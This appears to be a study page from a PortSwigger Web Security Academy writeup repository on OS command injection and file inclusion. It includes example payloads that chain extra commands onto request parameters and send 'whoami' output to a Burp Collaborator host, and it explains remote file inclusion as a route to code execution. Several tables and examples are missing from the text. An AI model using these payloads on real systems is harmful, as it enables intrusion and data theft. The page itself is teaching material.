portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Types of Command Injection Vulnerabilities

1. In-band Command Injection

Here, the response of the executed command is received within the HTTP response.

How to detect?

Use shell metacharacters: &, ;, Newline (0x0a or \n), &&, |, ||, ', $.

2. Blind Command Injection

Here, the output of the command is not returned within the HTTP response.

How to detect?

TIP: Exfiltrate the output of your command:
https://vulnerable-website/endpoint?parameter=||nslookup \whoami`.burp.collaborator.address||`

Some Vulnerable Functions

Ways to Inject Commands

A variety of shell metacharacters can be used to perform OS command injection attacks.

Command Separators

The following command separators work on both Windows and Unix-based systems:

The following command separators work only on Unix-based systems:

Inline Execution (Unix-based systems only)

Out-of-Band (OOB) Channel

Use a controlled server (e.g., Burp Collaborator) to detect DNS or HTTP requests.

Example: https://vulnerable-website/endpoint?parameter=x||nslookup+burp.collaborator.address||

Tip: Exfiltrate command output via OOB:

Example: https://vulnerable-website/endpoint?parameter=||nslookup+\whoami`.burp.collaborator.address||`

Command Injection with Operators

To inject an additional command to the intended one, we may use any of the following operators:

image

Operators can be used to inject additional commands, allowing either or both commands to execute. The approach involves providing the expected input (e.g., an IP address), followed by an operator, and then the injected command.

Supported Operators

The following operators can be used for command injection:

Usage

To perform a command injection, append the operator and the malicious command to the expected input. For example:

Cross-Platform Compatibility

Command injection using these operators works regardless of the web application language (e.g., PHP, .NET, NodeJS), framework, or back-end server (Linux, macOS, or Windows). The operators are interpreted by the underlying operating system’s shell, not the application layer.

Exception

Tip

When targeting Linux or macOS systems, use Unix-specific operators like backticks (`command`) or sub-shell ($(command)) for inline command execution. For example:

For Windows, stick to cross-platform operators like &, &&, |, or || to ensure compatibility.

Read vs. Execute Functions | Local File Inclusion (LFI)

The most important thing to keep in mind is that some file inclusion functions only read the content of the specified files, while others also execute the specified files. Furthermore, some allow specifying remote URLs, while others only work with files local to the back-end server.

Function Behavior

image

This table shows which functions may execute files and which only read file content.

Key Notes

Remote File Inclusion (RFI) in Vulnerable Functions

When a vulnerable function allows the inclusion of remote files, attackers can host a malicious script and include it in the vulnerable page to execute malicious functions, potentially achieving remote code execution (RCE). Below is a table summarizing functions that, when vulnerable, may permit Remote File Inclusion (RFI), based on their ability to read content or execute remote URLs.

Function Behavior Table

Function Language Reads Content Executes Remote URL
include() / include_once() PHP ✅ Yes ✅ Yes (if allow_url_include is enabled)
file_get_contents() PHP ✅ Yes ❌ No (only reads, doesn’t execute)
import Java ❌ No ❌ No (used for class references)
@Html.RemotePartial() .NET (Razor) ✅ Yes ✅ Yes (loads external HTML)
include .NET ✅ Yes ✅ Yes (depending on usage context)

Key Notes